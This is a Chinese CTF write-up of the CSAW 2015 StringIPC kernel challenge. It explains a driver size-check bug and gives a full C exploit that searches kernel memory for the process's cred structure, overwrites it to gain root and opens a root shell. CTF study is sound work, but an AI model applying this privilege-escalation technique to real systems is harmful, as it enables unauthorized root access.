CSAW-2015-StringIPC解法一修改cred结构

161 篇文章 9 订阅
161 篇文章 9 订阅

CSAW-2015-StringIPC

首先,查看一下启动脚本,发现没有开smap、smep、kaslr

  1. qemu-system-x86_64 \  
  2.     -m 512 \  
  3.     -kernel ./bzImage \  
  4.     -initrd ./rootfs.cpio \  
  5.     -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \  
  6.     -nographic \  
  7.     -s \  
  8.     -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \  

查看一下内核版本,为4.4.x

然后,我们分析一下StringIPC.ko驱动文件,题目有提供给我们源代码,那么我们直接分析源代码

realloc_ipc_channel函数里,没有对new_size进行检查,如果new_size-1的话,程序将krealloc(0),与glibc的堆不同的是,如果kmalloc(0)/kerallloc(0),返回的地址就是0x10

而后面又将buf_size设置为new_size,如果new_size-1,由于是无符号数,并且堆地址为0x10,那么我们就能实现任意地址读写。

写数据的时候,需要注意的是使用了strncpy_from_user函数,因此数据中如果遇到0,就截断了,因此,在写的时候,我们应该逐字节写入。

能实现任意地址读写,那么最简单的方法就是在内存里搜索cred结构,然后篡改,从而提权。那么,如何可靠的在内存中查找cred结构能?

Linux的进程有一个这样的结构体(太长部分省略)

  1. struct task_struct {  
  2.    ...  
  3.    /* Objective and real subjective task credentials (COW): */  
  4.    const struct cred __rcu      *real_cred;  
  5.   
  6.    /* Effective (overridable) subjective task credentials (COW): */  
  7.    const struct cred __rcu      *cred;  
  8.   
  9.    /* 
  10.     * executable name, excluding path. 
  11.     * 
  12.     * - normally initialized setup_new_exec() 
  13.     * - access it with [gs]et_task_comm() 
  14.     * - lock it with task_lock() 
  15.     */  
  16.    char             comm[TASK_COMM_LEN];  
  17.    ...  
  18. }  

我们看到了,在task_struct结构体里有cred的指针,我们只要得到了cred的指针的值,那么我们就能利用任意地址读写来找到cred,进而修改。那么如何找到cred的指针呢?我们注意到,cred指针下方,有一个comm字符数组,这个字符串表示线程的名字,其内容可以通过linuxprctl(PR_SET_NAME,target);来设置指定的值。那么,我们设置一个复杂的长度不超过16字节的字符串作为标记,然后,在内存里搜索这个标记,如果搜索到了,就可以确定这个位置前面就是cred指针。

为了提高搜索的效率,我们还要确定一下搜索的范围,linux kernel的内存映射图如下

0xffffffffffffffff  ---+-----------+-----------------------------------------------+-------------+
                       |           |                                               |+++++++++++++|
    8M                 |           | unused hole                                   |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffff7ff000  ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
    1M                 |           |                                               |+++++++++++++|
0xffffffffff600000  ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
    548K               |           | vsyscalls                                     |+++++++++++++|
0xffffffffff577000  ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
    5M                 |           | hole                                          |+++++++++++++|
0xffffffffff000000  ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    1520M              |           | module mapping space (MODULES_LEN)            |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffffa0000000  ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    512M               |           | kernel text mapping, from phys 0              |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffffffff80000000  ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
    2G                 |           | hole                                          |+++++++++++++|
0xffffffff00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    64G                |           | EFI region mapping space                      |+++++++++++++|
0xffffffef00000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    444G               |           | hole                                          |+++++++++++++|
0xffffff8000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | %esp fixup stacks                             |+++++++++++++|
0xffffff0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    3T                 |           | hole                                          |+++++++++++++|
0xfffffc0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    16T                |           | kasan shadow memory (16TB)                    |+++++++++++++|
0xffffec0000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffeb0000000000  ---+-----------+-----------------------------------------------| kernel space|
    1T                 |           | virtual memory map for all of struct pages    |+++++++++++++|
0xffffea0000000000  ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffe90000000000  ---+-----------+------------| VMALLOC_END   |------------------|+++++++++++++|
    32T                |           | vmalloc/ioremap (1 << VMALLOC_SIZE_TB)        |+++++++++++++|
0xffffc90000000000  ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
    1T                 |           | hole                                          |+++++++++++++|
0xffffc80000000000  ---+-----------+-----------------------------------------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
    64T                |           | direct mapping of all phys. memory            |+++++++++++++|
                       |           | (1 << MAX_PHYSMEM_BITS)                       |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
                       |           |                                               |+++++++++++++|
    8T                 |           | guard hole, reserved for hypervisor           |+++++++++++++|
                       |           |                                               |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
                       |-----------|                                               |-------------|
                       |-----------| hole caused by [48:63] sign extension         |-------------|
                       |-----------|                                               |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
    PAGE_SIZE          |           | guard page                                    |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
                       |           |                                               |  user space |
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
    128T               |           | different per mm                              |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
                       |           |                                               |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+

我们注意到,在0xffff880000000000——0xffffc80000000000区域,是堆的分配区域,因此,我们只需要搜索这段内存,即可找到task_struct结构,进而找到cred结构。

我们的exploit.c程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

void errExit(char *msg) {
   puts(msg);
   exit(-1);
}
//驱动的文件描述符
int fd;
//初始化驱动
void initFD() {
   fd = open("/dev/csaw",O_RDWR);
   if (fd < 0) {
      errExit("[-] open file error!!");
   }
}

//申请一个channel,返回id
int alloc_channel(size_t size) {
   struct alloc_channel_args args;
   args.buf_size = size;
   args.id = -1;
   ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
   if (args.id == -1) {
      errExit("[-]alloc_channel error!!");
   }
   return args.id;
}

//改变channel的大小
void shrink_channel(int id,size_t size) {
   struct shrink_channel_args args;
   args.id = id;
   args.size = size;
   ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {
   struct seek_channel_args args;
   args.id = id;
   args.index = offset;
   args.whence = whence;
   ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//读取数据
void read_channel(int id,char *buf,size_t count) {
   struct read_channel_args args;
   args.id = id;
   args.buf = buf;
   args.count = count;
   ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//写数据
void write_channel(int id,char *buf,size_t count) {
   struct write_channel_args args;
   args.id = id;
   args.buf = buf;
   args.count = count;
   ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
   seek_channel(id,addr-0x10,SEEK_SET);
   read_channel(id,buf,count);
}
//任意地址写
//由于题目中使用了strncpy_from_user,遇到0就会截断,因此,我们逐字节写入
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
   for (int i=0;i<count;i++) {
      seek_channel(id,addr+i-0x10,SEEK_SET);
      write_channel(id,buf+i,1);
   }
}


char root_cred[28] = {0};
int main() {
   //通过prctl给当前进程的task结构设置一个标记,方便我们在内存中搜索时可以作为依据
   //char tag[16] = "thisisatag";
   char *buf = (char *)calloc(1,0x1000);
   //prctl(PR_SET_NAME,tag);
    char target[16];
    strcpy(target,"try2findmesauce");
    prctl(PR_SET_NAME,target);
   initFD();
   //申请一个channel,大小0x100
   int id = alloc_channel(0x100);
   //改变channel大小,形成漏洞,实现任意地址读写
   shrink_channel(id,0x101);
   size_t cred_addr = -1;
   //task和cred结构的范围在0xffff880000000000~0xffffc80000000000
   for (size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000) {
      //每次读取0x1000的字节
      arbitrary_read(id,buf,addr,0x1000);

      //搜索当前读出的数据里是否有我们的标记
      size_t tag_ptr = memmem(buf, 0x1000,target,16);
      if (tag_ptr) {
         cred_addr = *(size_t *)(tag_ptr - 0x8);
         size_t real_cred_addr = *(size_t *)(tag_ptr - 0x10);
         if ((cred_addr & 0xff00000000000000) && cred_addr == real_cred_addr) {
            printf("[+] found cred_ptr at 0x%lx\n",addr + tag_ptr - (size_t)buf);
            printf("[+] cred_addr at 0x%lx\n",cred_addr);
            break;
         }
      }
   }
   if (cred_addr == -1) {
      errExit("[-]can't find cred!!");
   }
   arbitrary_write(id,root_cred,cred_addr,28);
   if (getuid() == 0) {
      printf("[+]rooted!!\n");
      system("/bin/sh");
   } else {
      errExit("[-]root fail!!\n");
   }
   return 0;
}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值